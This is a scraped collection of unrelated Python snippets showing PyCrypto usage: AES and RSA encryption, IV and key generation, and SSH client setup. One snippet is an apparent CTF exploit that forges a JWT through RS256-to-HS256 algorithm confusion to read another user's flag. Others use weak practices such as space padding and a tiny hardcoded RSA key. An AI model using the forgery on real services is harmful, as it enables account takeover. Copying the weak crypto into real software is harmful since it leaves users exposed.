Ejemplo n.º 1
0
    def encrypt_images(self, temp_dir, opened_files, sec_key):

        file_list = []
        iv_list = []

        sim_key = Random.new().read(self.length_AES)

        for f in opened_files:
            with open(f, 'rb') as fhI:
                file_name = ntpath.split(f)[1]
                file_path = temp_dir + "/" + file_name
                pic_data = fhI.read()

                iv = Random.new().read(16)
                iv_list.append(self.bin2b64(iv))

                aes = AES.new(sim_key, AES.MODE_CFB, iv)
                enc_pic_data = aes.encrypt(pic_data)
                enc_pic_data_hex = self.bin2b64(enc_pic_data)  # ovo ti i ne treba, zbog cuvanja mesta.. madaa? Izbacices, valja radit brze:D

                with open(file_path, 'w') as fhO:
                    fhO.write(enc_pic_data_hex)

                abs_file_path = os.path.abspath(file_path)
                file_list.append(abs_file_path)

        esk = sec_key.encrypt(sim_key, 'x')[0]
        esk = self.bin2b64(esk)



        return [file_list, esk, iv_list]
Ejemplo n.º 2
0
 def new_key(self):
     '''
     Get a new AES key and iv, localbox uses a self generated iv
     '''
     key = Random.new().read(AES.key_size[2])
     iv = Random.new().read(AES.block_size)
     return LoxKey(key, iv)
Ejemplo n.º 3
0
def dencrypt(data, outpath, key = None):
	#print "Encrypting to %s" % outpath
	bs = AES.block_size
	if key is None:
		key = Random.new().read(16)
	else:
		key = base64.b64decode(key)
	iv = Random.new().read(bs)
	encryptor = AES.new(key, AES.MODE_CBC, iv)
	#print "Key: %s" % base64.b64encode(key)
	#print "IV: %s" % base64.b64encode(iv)

	fin = io.BytesIO(data)
	fout = io.BytesIO()
	
	fout.write(iv)
	while True:
		chunk = fin.read(bs*1024)
		if len(chunk) == 0:
			break
		elif len(chunk) % bs != 0:
			chunk += b' ' * (bs - len(chunk) % bs)
		fout.write(encryptor.encrypt(chunk))

	with open(outpath, 'wb') as f:
		f.write(fout.getvalue())
	
	return base64.b64encode(key)
Ejemplo n.º 4
0
def encrypt_hmac(key: bytes, plaintext: str) -> bytes:
    """ encrypt(key, plaintext) ->  Encrypts plaintext using key.

    """

    # Generate a key from a salt and hashed key.
    salt = Random.new().read(SALT_LEN)
    valid_key = key_gen(key, salt)

    iv = Random.new().read(IV_LEN)

    padded_plaintext = PKCS7_pad(plaintext.encode(), AES.block_size)

    encrypt_obj = AES.new(valid_key, AES.MODE_CBC, iv)

    # Put the salt and iv at the start of the ciphertext so when it
    # needs to be decrypted the same salt and iv can be used.
    ciphertext = salt + iv + encrypt_obj.encrypt(padded_plaintext)

    hmac_key = Random.new().read(32)
    hmac = HMAC.new(hmac_key, digestmod=SHA512)
    hmac.update(ciphertext)
    hmac_digest = hmac.digest()

    # Encrypt the hmac key
    hmac_iv = Random.new().read(IV_LEN)
    hmac_encrypt_obj = AES.new(valid_key, AES.MODE_CBC, hmac_iv)
    encrypted_hmac_key = hmac_iv + hmac_encrypt_obj.encrypt(hmac_key)

    # ciphertext = encrypted hmac key + hmac digest + salt + iv +
    # encrypted data.
    ciphertext = encrypted_hmac_key + hmac_digest + ciphertext

    return ciphertext
Ejemplo n.º 5
0
Archivo: views.py Proyecto: czhao39/ion
def files_auth(request):
    """Display authentication for filecenter."""
    if "password" in request.POST:
        """
            Encrypt the password with AES mode CFB.
            Create a random 32 char key, stored in a CLIENT-side cookie.
            Create a random 32 char IV, stored in a SERVER-side session.
            Store the encrypted ciphertext in a SERVER-side session.

            This ensures that neither side can decrypt the password without
            the information stored on the other end of the request.

            Both the server-side session variables and the client-side cookies
            are deleted when the user logs out.
        """
        key = Random.new().read(32)
        iv = Random.new().read(16)
        obj = AES.new(key, AES.MODE_CFB, iv)
        message = request.POST.get("password")
        ciphertext = obj.encrypt(message)
        request.session["files_iv"] = base64.b64encode(iv).decode()
        request.session["files_text"] = base64.b64encode(ciphertext).decode()
        cookie_key = base64.b64encode(key).decode()

        nexturl = request.GET.get("next", None)
        if nexturl and nexturl.startswith("/files"):
            response = redirect(nexturl)
        else:
            response = redirect("files")
        response.set_cookie(key="files_key", value=cookie_key)
        return response
    else:
        return render(request, "files/auth.html", {})
Ejemplo n.º 6
0
    def parse_response(self, form, success=True):
        """Parse and return payment response."""
        fields = {
            # Successful payment
            '1101': ('SERVICE', 'VERSION', 'SND_ID', 'REC_ID', 'STAMP', #  1..5
                     'T_NO', 'AMOUNT', 'CURR', 'REC_ACC', 'REC_NAME',   #  6..10
                     'SND_ACC', 'SND_NAME', 'REF', 'MSG', 'T_DATE'),    # 11..15
            # Unsuccessful payment
            '1901': ('SERVICE', 'VERSION', 'SND_ID', 'REC_ID', 'STAMP', #  1..5
                     'REF', 'MSG')                                      #  6..7
        }
        # See which response we got
        resp = form.get('VK_SERVICE', None)
        if not resp and resp not in fields:
            raise InvalidResponseError
        success = resp == '1101'

        Random.atfork()

        # Parse and validate MAC
        m = self._build_mac(fields[resp], form)
        f = lambda x: form.get('VK_%s' % x)
        if not PKCS1_v1_5.new(self.keychain.public_key) \
                         .verify(SHA.new(m), b64decode(f('MAC'))):
            raise InvalidResponseError
        # Save payment data
        data = {}
        if success:
            for item in ('T_NO', 'AMOUNT', 'CURR', 'REC_ACC', 'REC_NAME',
                         'SND_ACC', 'SND_NAME', 'REF', 'MSG', 'T_DATE'):
                data[item] = f(item)
        return PaymentResponse(self, data, success)
Ejemplo n.º 7
0
 def create_client(self):
     client = paramiko.SSHClient()
     client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
     # Re-initialize RNG after fork to avoid connectivity problems with Paramiko
     Random.atfork()
     client.connect(self.vm_address, username=self.vm_user, port=22, password=self.vm_user_password)
     return client
Ejemplo n.º 8
0
def set_flag(ip, port, flag):
    base_url = 'http://' + ip + ':' + port + '/'
    username = (binascii.hexlify(Random.get_random_bytes(10))).decode()
    password = (binascii.hexlify(Random.get_random_bytes(10))).decode()

    account = create_account(base_url, username, password)
    entry_request = {
        'entry': flag,
        'title': 'flag'
    }

    # login
    jwt = login(base_url, username, password)
    jwt_token = jwt['token']

    # verify token
    public_key = get_public_key(base_url)
    verify_token(jwt_token, public_key, account)
    entry = post_entry(base_url, jwt_token, entry_request)

    # return entryid
    return {
        'FLAG_ID': entry['id'],
        'TOKEN': jwt_token
    }
Ejemplo n.º 9
0
 def contextualize(self, context_command):
     client = paramiko.SSHClient()
     client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
     # Re-initialize RNG after fork to avoid connectivity problems with Paramiko
     Random.atfork()
     client.connect(self.vm_address, username=self.vm_user, port=22, password=self.vm_user_password)
     a,b,c = client.exec_command(context_command)
Ejemplo n.º 10
0
def GetElgamalParamqp(bits = 100):
    while 1:
        q = bignum(getPrime(bits-1, Random.new().read))
        p = 2*q+1
        if number.isPrime(p, randfunc=Random.new().read):
            break
    return q,p
Ejemplo n.º 11
0
    def encrypt(self, msg, key):
        """ Encrypt a message
        :param msg: Message to encrypt
        :param key: Key to protect the message
        :return: The encrypted message
        :rtype: bytes
        """
        # Creating a key by hashing the password
        key = hashlib.sha256(key.encode("utf-8")).digest()

        # New seed for PyCrypto
        Random.atfork()

        # Generating initialization vector
        iv = Random.new().read(AES.block_size)

        crypto = AES.new(key, AES.MODE_CBC, iv)
        plain = msg.encode("utf-8")

        # Adding some data at the end to match the block size required by AES
        padding_length = AES.block_size - len(plain) % AES.block_size
        plain += bytes((padding_length,)) * padding_length

        # Finally creating the crypted data
        return iv + crypto.encrypt(plain)
Ejemplo n.º 12
0
    def get_vipkey(self, vessel_name):
        ''' post to gapp, gapp should return a aes keysoup encrypted by vip's
        pulbic key
        '''
        cmd = 'RVIP'

        # a random request id for every request, verify it to prevent replay
        req_id = Random.get_random_bytes(Tiger.REQID_SIZE)
        obfus_key = Random.get_random_bytes(self.SID_SIZE)
        obfus_key += self.xor_obfus(self.session_id, obfus_key)

        msg = req_id + '{0:20}'.format(cmd + vessel_name)
        # the final payload is obfuskey + obfused key + aes(dbreq)
        payload = (obfus_key + self.encrypt_aes(msg,
                                                aeskey=self.session_key,
                                                hmackey=self.session_hmac_key))
        # post to gapp
        e_obj = open_request(self.fetch_srv, payload).read()
        d_msg = self.decrypt_aes(e_obj, aeskey=self.session_key,
                                        hmackey=self.session_hmac_key)
        if req_id != d_msg[:Tiger.REQID_SIZE]:
            print 'Request id mismatch, Possible Replay Attack!'
            return None

        shared_vipkey = d_msg[Tiger.REQID_SIZE:]
        key_soup = self.rsa_priv.decrypt(shared_vipkey)
        vip_session_key = key_soup[:Tiger.SKEY_SIZE]
        vip_session_hmac_key = key_soup[Tiger.SKEY_SIZE:
                                     Tiger.SKEY_SIZE + Tiger.HMACKEY_SIZE]

        self.shared_vipkeys[vessel_name] = {'s_key': vip_session_key,
                                    's_hmac_key': vip_session_hmac_key}
        print 'new vessel-vip shared AES/HMAC keys fetched'

        return 1
Ejemplo n.º 13
0
    def encrypt(self, data):
        if self.initialized == 0 and self.is_server == False:
            taddr = self.proto.factory.tun.addr
            taddr_hash = SHA384.new(taddr).digest()

            iv = Random.new().read(AES.block_size)
            salt = Random.new().read(SALT_LEN)

            passwd = self.proto.factory.passwd
            self.key = PBKDF2(passwd, salt, dkLen=AES_KEYLEN*2, count=PBKDF2_ITERATIONS)
            self.aes_e = AES.new(self.key[:AES_KEYLEN], AES.MODE_CFB, iv)
            self.aes_d = AES.new(self.key[AES_KEYLEN:], AES.MODE_CFB, iv)

            data = iv+self.aes_e.encrypt(data)
            tag = HMAC.new(self.key, msg=data, digestmod=SHA384).digest()[:SHA384_LEN]
            data = taddr_hash+salt+data+tag

            self.initialized = 1

        else:
            data = self.aes_e.encrypt(data)
            tag = HMAC.new(self.key, msg=data, digestmod=SHA384).digest()[:SHA384_LEN]
            data = data+tag

        return data
Ejemplo n.º 14
0
 def generate(self):
     """Generates a new RSA keypair and assignes to self."""
     from Crypto import Random
     Random.atfork()
     key = RSA.generate(2048)
     self.private = key.exportKey()
     self.public = key.exportKey('OpenSSH')
Ejemplo n.º 15
0
    def __init__(self, device=None, cfg=None):
        self.newpt_count = 0
        self.position = 0
        self.speed_unit = 'Knots'
        self.last_speed = 0
        self.utc_time = ''
        self.heading_degree = 0
        # gapp and Tiger
        self.fetch_srv = norm_address(cfg['hq']['url'] + cfg['hq']['path'])
        self.login_srv = norm_address(cfg['hq']['url'] +
                                                 cfg['hq']['login_path'])
        self.vessel_name = cfg['self']['name']
        self.keysoup = None
        #self.rsa_vippub = self.import_key(open(cfg['vip']['pub']))

        # from ClientHello
        self.key_soup = Random.get_random_bytes(Tiger.RSAOBJ_SIZE - 1)
        self.session_id = Random.get_random_bytes(Tiger.SID_SIZE)
        self.session_key = self.key_soup[:Tiger.SKEY_SIZE]
        self.session_hmac_key = self.key_soup[
                        Tiger.SKEY_SIZE:Tiger.SKEY_SIZE + Tiger.HMACKEY_SIZE]
        self.rsa_hqpub = self.import_key(open(cfg['hq']['pub']))
        self.rsa_priv = self.import_key(open(cfg['self']['priv']))
        self.shared_vipkeys = {}
        self.login_okay = False
Ejemplo n.º 16
0
    def _run(self):
        # try to fix pycrypto
        try:
            from Crypto import Random
            Random.atfork()
        except:
            pass

        while True:
            LOG.info('Start iteration')
            try:
                g = self.do_iteration()
                if CONFIG['interval']:
                    timeout = self.iteration_timestamp + CONFIG['interval'] - time.time()
                else:
                    timeout = 600
                try:
                    g.get(timeout=timeout)
                except gevent.Timeout:
                    raise IterationTimeoutError()
                finally:
                    if not g.ready():
                        g.kill()
            except KeyboardInterrupt:
                raise KeyboardInterrupt
            except:
                LOG.error('Iteration failed, reason: %s' % helper.exc_info())
                POOL.kill()
            finally:
                LOG.info('End iteration: %s' % (time.time() - self.iteration_timestamp))
                if CONFIG['interval']:
                    sleep_time = self.iteration_timestamp + CONFIG['interval'] - time.time()
                    time.sleep(sleep_time)
                else:
                    break
Ejemplo n.º 17
0
def encrypt_file(password_string, input_file, chunk_size):
    # input_file is the unencrypted file.

    # Create encryptor object.
    salt = Random.new().read(SALT_LENGTH)
    key = PBKDF2(password_string, salt, dkLen=KEY_LENGTH, count=ITERATIONS, prf=HMAC_SHA256)
    ivec = Random.new().read(AES.block_size)
    en = AES.new(key, AES.MODE_CBC, ivec)

    # Takes in something like file.txt and outputs file.txt.cif.
    with open(input_file, 'rb') as plain_file:
        with open((input_file + '.cif'), 'wb') as cipher_file:
            # Write the password salt to the output file.
            cipher_file.write(salt)
            # Write the initialization vector to the output file.
            cipher_file.write(ivec)

            # Write chunks. Look for the last one. Pad the last chunk!
            current_chunk = plain_file.read(chunk_size)
            while True:
                next_chunk = plain_file.read(chunk_size)

                if not next_chunk:
                    padded_chunk = get_padded_chunk(current_chunk)
                    cipher_file.write(en.encrypt(padded_chunk))
                    break

                cipher_file.write(en.encrypt(current_chunk))
                current_chunk = next_chunk
Ejemplo n.º 18
0
def encrypt_for_master(data, fn):
    # Encrypt the file so it can only be read by the bot master

    # Generate key and IV for AES encryption for data with 128 bits key size
    aes_encryption_key = Random.get_random_bytes(16)
    iv = Random.get_random_bytes(AES.block_size)
    cipher = AES.new(aes_encryption_key, AES.MODE_CBC, iv)

    # Padding is required since AES-CBC mode is chosen
    padded_data = ANSI_X923_pad(bytes(str(data), 'ascii'), AES.block_size)
    encrypted_data = cipher.encrypt(padded_data)

    # Obtain public key from text file for encrypting aes encryption key and iv
    pub_key = open("mypublickey.txt", "r").read()
    rsa_encryption_key = RSA.importKey(pub_key)
    key_data = aes_encryption_key + iv
    encrypt_aes_key = rsa_encryption_key.encrypt(key_data, 16)

    # Store the aes encryption key and iv
    aes_key_file = os.path.join("pastebot.net", fn + ".AES.key")
    out = open(aes_key_file, "wb")
    out.write(encrypt_aes_key[0])
    out.close()

    print("Exported AES key!")

    return encrypted_data
Ejemplo n.º 19
0
def mp_setup(ctx):
    buckets = ctx.buckets  # save buckets before setup resets them
    s3setup(ctx)
    if len(buckets):
        for bucket in buckets:
            s3bucket_named(ctx, bucket)
    Random.atfork()
Ejemplo n.º 20
0
def enc_upload(filename, path):
    global s, profile, ID

    f = open(path,'r').read()
    #salt = Random.new().read(AES.block_size)
    salt = [ord(x) for x in Random.new().read(AES.block_size)]
    #key_index = Random.new().read(AES.block_size)
    key_index = [ord(x) for x in Random.new().read(AES.block_size)]
    key_blocks = [ord(x) for x in Random.new().read(AES.block_size)]

    block_index_iv=random_str(15)

    #key_blocks = Random.new().read(AES.block_size)
    profile[filename] = {'salt':salt, 'key_index':key_index, 'key_blocks':key_blocks, 'block_index_iv':block_index_iv}
    hashed = hash_substrings(f, salt,block_index_iv, key_index)
    h = open(filename+'hash', 'w')
    h.write(json.dumps(hashed))
    #h.write(hashed)
    h.close()
    url = "http://128.30.93.9:8080/zoobar/index.cgi/enc_upload"
    files = {'file': (filename+'hash', open(filename+'hash','rb'))}
    s.post(url, files=files)

    encrypted_blocks = encrypt_blocks(f,key_blocks,block_index_iv,block_length)
    b = open(filename+'block','w')
    b.write(json.dumps(encrypted_blocks))
    b.close()
    url = "http://128.30.93.9:8080/zoobar/index.cgi/enc_upload"
    files = {'file': (filename+'block', open(filename+'block','rb'))}
    s.post(url, files=files)

    upload_profile(ID)
Ejemplo n.º 21
0
def copy_from_old_parallel( args ):
    Random.atfork()
    odte, ndte, i, S = args
    ret = []
    pw = odte.decode_pw(S)
    if not pw: return (i,[])
    return (i,ndte.encode_pw(pw))
Ejemplo n.º 22
0
def exploit(ip, port, flag_id):
    base_url = 'http://' + ip + ':' + port + '/'
    username = (binascii.hexlify(Random.get_random_bytes(10))).decode()
    password = (binascii.hexlify(Random.get_random_bytes(10))).decode()

    account = create_account(base_url, username, password)
    jwt = login(base_url, username, password)
    jwt_token = jwt['token']

    entries = get_all_entries(base_url, jwt_token)
    for entry in entries:
        if entry['id'] == flag_id:
            target_entry = entry
    (header, body, signature) = jwt_token.split('.')
    header_decoded = json.loads(base64.b64decode(header).decode())
    header_decoded['alg'] = 'HS256'
    header_payload = base64.b64encode(json.dumps(header_decoded).encode())

    body_decoded = json.loads(base64.b64decode(body).decode())
    body_decoded['username'] = target_entry['owner']
    body_payload = base64.b64encode(json.dumps(body_decoded).encode())

    to_sign = header_payload + b'.' + body_payload

    public_key = get_public_key(base_url)
    hmac = HMAC.new(public_key.encode(), to_sign, SHA256)

    payload_signature = base64.b64encode(hmac.digest())

    payload_jwt = to_sign + b'.' + payload_signature

    exploit_entry = get_entry(base_url, payload_jwt.decode(), flag_id)

    return {'FLAG': exploit_entry['entry']}
Ejemplo n.º 23
0
def edit_command(initialize=False):
  """
  edit_command takes one argument: initialize (defaulting to False); if not set
  to initialize, it decrypts the password file to a temporary file for editing;
  in either case, it encrypts the tempfile to be the new password file after 
  the user has finished writing.
  """
  file_descriptor, filename = tempfile.mkstemp()
  if not initialize:
    with os.fdopen(file_descriptor, 'wb') as temp_handle:
      temp_handle.write(decryptf(PASSWORD_FILE))
  editor_process = subprocess.Popen([os.environ['EDITOR'], filename])
  editor_process.wait()
  salt = Random.new().read(8)
  iv = Random.new().read(16)
  key = PBKDF2(getpass.getpass('Password (for encryption): '), salt).read(32)
  if PBKDF2(getpass.getpass('Repeat password: '******'Encryption passwords do not match.')
  cipher = AES.new(key, AES.MODE_CBC, iv)
  with open(filename, 'rb') as temp_handle:
    ciphertext = ''.join([salt, iv, 
                          cipher.encrypt(pad(temp_handle.read(), 16))])
  with open(PASSWORD_FILE, 'wb') as password_handle:
    password_handle.write(ciphertext)
  shred_proc = subprocess.Popen(['shred', '-u', filename])
  shred_proc.wait()
Ejemplo n.º 24
0
	def encrypt(self, plaintext):
		self.salt = Random.new().read(self.block_size)
		iv = Random.new().read(self.block_size)
		# 1 iteration here because we're not really doing this for CPU intensity
		cipher = AES.new(pbkdf2(self.key, self.salt, iterations=1, keylen=self.key_size), AES.MODE_CBC, iv)
		ciphertext = cipher.encrypt(self.pad(plaintext))
		return quote(urlsafe_b64encode(self.salt + iv + ciphertext))
Ejemplo n.º 25
0
def generate_key_pair(request):
    """
    Response to generate private/public RSA key pair
    """

    get_user(request, settings.ASTAKOS_AUTH_URL)

    if request.method != "POST":
        return http.HttpResponseNotAllowed(["POST"])

    if not SUPPORT_GENERATE_KEYS:
        raise Exception("Application does not support ssh keys generation")

    if PublicKeyPair.user_limit_exceeded(request.user_uniq):
        return http.HttpResponseServerError("SSH keys limit exceeded")

    # generate RSA key
    from Crypto import Random
    Random.atfork()

    key = rsakey.RSA.generate(SSH_KEY_LENGTH)

    # get PEM string
    pem = exportKey(key, 'PEM')

    public_data = Message()
    public_data.add_string('ssh-rsa')
    public_data.add_mpint(key.key.e)
    public_data.add_mpint(key.key.n)

    # generate public content
    public = str("ssh-rsa %s" % base64.b64encode(str(public_data)))

    data = {'private': pem, 'public': public}
    return http.HttpResponse(json.dumps(data), mimetype="application/json")
Ejemplo n.º 26
0
    def run(self):
        key_ts = struct.pack('!Q', int(time.time() * 1000))
        key = Random.new().read(32)
        kds_count = -1
        
        while (True):
            # KDS
            kds_count = kds_count + 1
            if kds_count % 120 == 0:
                key_ts = struct.pack("!Q", int(time.time() * 1000))
                key = Random.new().read(32)
                kds_thread = kds.SimpleKDSPublisher(Name(bld_root), self.keychain, self.cert_name, key, key_ts)
                kds_thread.start()
                kds_count = 0

            # Data
            now = int(time.time() * 1000) # in milliseconds

            a = self.master.execute(100, cst.READ_HOLDING_REGISTERS, 166, 1)
            b = self.master.execute(100, cst.READ_HOLDING_REGISTERS, 167, 1)
            vln = (b[0] << 16) + a[0]
            c = self.master.execute(1, cst.READ_HOLDING_REGISTERS, 150, 1)
            la = c[0]
            
            payload = {'ts': now, 'vlna': vln, 'la': la}
            timestamp = struct.pack("!Q", now) # timestamp is in milliseconds

            self.publishData(key, key_ts, payload, timestamp)

            time.sleep(self.interval)
Ejemplo n.º 27
0
 def inner(*args, **kwargs):
     # Required for ssh/PyCrypto to be happy in multiprocessing
     # (as far as we can tell, this is needed even with the extra such
     # calls in newer versions of paramiko.)
     if Random:
         Random.atfork()
     return func(*args, **kwargs)
Ejemplo n.º 28
0
    def create_entry(self, group = None, title = "", image = 1, url = "",
                     username = "", password = "", comment = "",
                     y = 2999, mon = 12, d = 28, h = 23, min_ = 59,
                     s = 59):
        """This method creates a new entry.
        
        The group which should hold the entry is needed.

        image must be an unsigned int >0, group a v1Group.
        
        It is possible to give an expire date in the following way:
            - y is the year between 1 and 9999 inclusive
            - mon is the month between 1 and 12
            - d is a day in the given month
            - h is a hour between 0 and 23
            - min_ is a minute between 0 and 59
            - s is a second between 0 and 59

        The special date 2999-12-28 23:59:59 means that entry expires never.
        
        """
        
        if (type(title) is not str or
            type(image) is not int or image < 0 or
            type(url) is not str or
            type(username) is not str or
            type(password) is not str or
            type(comment) is not str or
            type(y) is not int or
            type(mon) is not int or
            type(d) is not int or
            type(h) is not int or
            type(min_) is not int
            or type(s) is not int or
            type(group) is not v1Group):
            raise KPError("One argument has not a valid type.")
        elif group not in self.groups:
            raise KPError("Group doesn't exist.")
        elif (y > 9999 or y < 1 or mon > 12 or mon < 1 or d > 31 or d < 1 or
              h > 23 or h < 0 or min_ > 59 or min_ < 0 or s > 59 or s < 0):
            raise KPError("No legal date")
        elif (((mon == 1 or mon == 3 or mon == 5 or mon == 7 or mon == 8 or
                mon == 10 or mon == 12) and d > 31) or
               ((mon == 4 or mon == 6 or mon == 9 or mon == 11) and d > 30) or
               (mon == 2 and d > 28)):
            raise KPError("Given day doesn't exist in given month")

        Random.atfork()
        uuid = Random.get_random_bytes(16)
        entry = v1Entry(group.id_, group, image, title, url, username,
                         password, comment, 
                         datetime.now().replace(microsecond = 0),
                         datetime.now().replace(microsecond = 0),
                         datetime.now().replace(microsecond = 0),
                         datetime(y, mon, d, h, min_, s),
                         uuid)
        self.entries.append(entry)
        group.entries.append(entry)
        self._num_entries += 1
        return True
Ejemplo n.º 29
0
def encodeUniqueId(session):
    info = {'machine': collect_machine_info(),
            'session': session}

    #prefix the JSON string with Magic byte '2' to indicate the new uid data format for the server
    json_string = '2' + json.dumps(info)
    public_key = rsa.PublicKey(13731707816857396218511477189051880183926672022487649441793167544537, 65537  )
    iv = Random.get_random_bytes(16)
    ivb64 = base64.b64encode(iv)
    assert (len(ivb64) == 24)

    aeskey = Random.get_random_bytes(16)
    aeskeyencrypted = rsa.encrypt(aeskey, public_key)

    aeskeyencryptedb64 = base64.b64encode(aeskeyencrypted)
    assert (len(aeskeyencryptedb64) == 40)

    aes = AES.new(aeskey, AES.MODE_CBC, iv)

    # insert trailing bytes to make len(json_string) a multiple of 16
    json_string_len = len(json_string)
    trailing = (((json_string_len // 16) + 1) * 16) - json_string_len
    json_string = json_string + "x" * trailing
    trailingbyte = chr(trailing).encode('utf-8')

    encrypted = aes.encrypt(json_string)
    encryptedb64 = base64.b64encode(encrypted)

    msg = trailingbyte + ivb64 + encryptedb64 + aeskeyencryptedb64
    msg = msg.decode('latin-1').encode('utf-8')

    return base64.b64encode(msg)
Ejemplo n.º 30
0
def encryption_oracle(input):
    rand_num1 = randint(5, 10)
    rand_num2 = randint(5, 10)
    encrypt_ecb = randint(0, 1)
    before = pkcs7_pad("", rand_num1)
    after = pkcs7_pad("", rand_num2)

    ciphertext = ""
    iv = ""
    key = Random.get_random_bytes(16)
    modified_input = before + input + after
    padded_input = pkcs7_pad(modified_input, 16)
    if encrypt_ecb == 1:
        # encrypt ECB
        encryptor = AES.new(key, AES.MODE_ECB)
        ciphertext = encryptor.encrypt(padded_input)
        print "ECB here"
    else:
        # encrypt CBC
        iv = Random.get_random_bytes(16)
        encryptor = AES.new(key, AES.MODE_CBC, iv)
        ciphertext = encryptor.encrypt(padded_input)
        print "CBC here"

    return key, iv, ciphertext
Ejemplo n.º 31
0
def encrypt(msg):
    key = get_secret('encrypt_key').decode('hex')
    iv = Random.new().read(AES.block_size)
    cipher = AES.new(key, AES.MODE_CFB, iv)
    return (iv + cipher.encrypt(_strify(msg))).encode('base-64').strip()
Ejemplo n.º 32
0
 def gen_nonce(cls):
     return struct.unpack('Q', Random.new().read(8))[0]
from Crypto.Cipher import AES
from Crypto import Random
import time

#Random Key Generator
key = Random.new().read(AES.block_size)

#AES Encryption
start = time.clock()
for i in range(0, 1000):
    cipher = AES.new(key, AES.MODE_ECB)
    message = cipher.encrypt(b'1234567891234567')

stop = time.clock()
print("Cipher text is")
print(message)
print("Time taken")
print(stop - start)

#Testing the using decrypt function
message1 = cipher.decrypt(message)
print("Plain text after Decryption is")
print(message1)
Ejemplo n.º 34
0
if (len(sys.argv) < 4):
    print "Use:", sys.argv[0], "SERVER PORT NICKNAME"
    quit()
sizekey = 128

try:
    arq = open(path + "clientKey/key.pem", "r")
    key = arq.read()
    key = RSA.importKey(key)
    publickey = key.publickey()
    publicascii = str(publickey.exportKey())
    arq.close()
except:
    print "If you want to use your own key, save the private key as \"key.pem\" in the directory called \"clientKey\".\nThe default size is 1024 bits."
    print "You can generate your own key using the program \"openssl\". When you have it installed in your machine, run \"openssl genrsa -out key.pem 1024\" and put the file in the correct directory."
    random_generator = Random.new().read
    key = RSA.generate(sizekey * 8, random_generator)
    publickey = key.publickey()
    publicascii = str(publickey.exportKey())
#the key has a limit of 128 bytes, so to solve that problem, the big messages need
#to be splited, encrypted singly and reconnected with this spacer in the middle
spacer = "@@@"


def decrypt(msg):
    newmsg = msg.split(spacer)
    decrypted = ""
    i = 0
    while (i < len(newmsg)):
        decrypted = decrypted + str(
            key.decrypt(ast.literal_eval(str(newmsg[i]))))
Ejemplo n.º 35
0
def rsa_decrypt(input_string, private_key):
    input_bytes = base64.b64decode(input_string)
    rsa_key = RSA.importKey("-----BEGIN RSA PRIVATE KEY-----\n" + private_key + "\n-----END RSA PRIVATE KEY-----")
    cipher = PKCS1_v1_5.new(rsa_key)
    # noinspection PyArgumentList
    return str(cipher.decrypt(input_bytes, Random.new().read), 'utf-8')
def encrypt(raw):
    raw = pad(raw)
    iv = Random.new().read(AES.block_size)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    return base64.b64encode(iv + cipher.encrypt(raw.encode('utf8')))
Ejemplo n.º 37
0
def encrypt(key, input, out_filename='privateKey.enc'):
    iv = Random.new().read(AES.block_size)
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    with open(out_filename, 'wb') as outfile:
        outfile.write(iv)
        outfile.write(encryptor.encrypt(input))
Ejemplo n.º 38
0
 def encrypt(self, message, key, key_size=256):
     message = self.pad(message)
     iv = Random.new().read(AES.block_size)
     cipher = AES.new(key, AES.MODE_CBC, iv)
     return iv + cipher.encrypt(message)
Ejemplo n.º 39
0
 def test_generate_2arg(self):
     """DSA (default implementation) generated key (2 arguments)"""
     dsaObj = self.dsa.generate(1024, Random.new().read)
     self._check_private_key(dsaObj)
     pub = dsaObj.publickey()
     self._check_public_key(pub)
Ejemplo n.º 40
0
 def encrypt(self, raw):
     raw = self._pad(raw)
     iv = Random.new().read(AES.block_size)
     cipher = AES.new(self.key, AES.MODE_CBC, iv)
     return base64.b64encode(iv + cipher.encrypt(raw))